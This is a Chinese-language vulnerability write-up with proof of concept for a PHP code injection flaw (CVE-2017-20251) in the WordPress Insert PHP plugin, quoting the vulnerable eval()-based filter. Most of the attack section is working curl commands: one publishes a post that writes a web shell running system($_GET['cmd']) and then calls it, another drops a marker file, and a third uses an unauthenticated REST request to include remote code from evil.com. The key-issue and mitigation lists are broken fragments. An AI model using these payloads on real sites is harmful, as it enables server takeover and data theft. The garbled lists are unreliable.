
插入 PHP 插件 PHP 代码注入
| 字段 | 值 |
|---|
| CVE ID | CVE-2017-20251 |
| 插件 | Insert PHP (现名为 Woody Code Snippets) |
| 受影响版本 | < 3.3.1 (测试版本 1.3) |
| CWE | CWE-94 (代码注入) |
| CVSS v3.1 | 9.8 (严重) |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 披露 | 公开 (Exploit-DB 41308) |
Insert PHP 插件 3.3.1 之前版本存在远程攻击者可通过短代码注入漏洞执行任意 PHP 代码的问题。该插件注册了一个 [insert_php]...[/insert_php] 短代码,该短代码直接使用 PHP 的 eval() 函数对短代码标签内的内容进行运算,未进行任何清理或验证。
能够创建或修改文章(通过 REST API、XML-RPC,或具有贡献者/管理员权限)的攻击者可将任意 PHP 代码注入到任何渲染其内容的页面或文章中,从而实现 Web 服务器上的完全远程代码执行。
漏洞存在于注册为 the_content 过滤器的 will_bontrager_insert_php() 函数中:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- 漏洞点
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
关键问题:
eval(),未进行任何清理[insert_php] 短代码)的文章the_content 过滤器eval() 在服务器上执行任意 PHP 代码严重性:严重
Web 服务器上的完全远程代码执行 (RCE):
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# 创建文章
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# 触发
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# 验证
cat /var/www/html/rce_poc.txt # 应输出:RCE-SUCCESS
对于允许 REST API 未认证创建文章的旧版本 WordPress:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
当处理存在漏洞的短代码时,eval() 会执行内部的 PHP 代码。对于标记文件测试:
请求:创建文章,包含 [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
响应:文章创建成功
请求:GET /?p=POST_ID
响应:页面渲染,PHP 代码执行,marker.txt 在服务器上创建
验证:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML 常量(尽管这并不能完全缓解问题)已修补的版本(3.3.1+):
[insert_php] 重命名为 [wbcr_php_snippet]eval() 使用,改为安全的执行上下文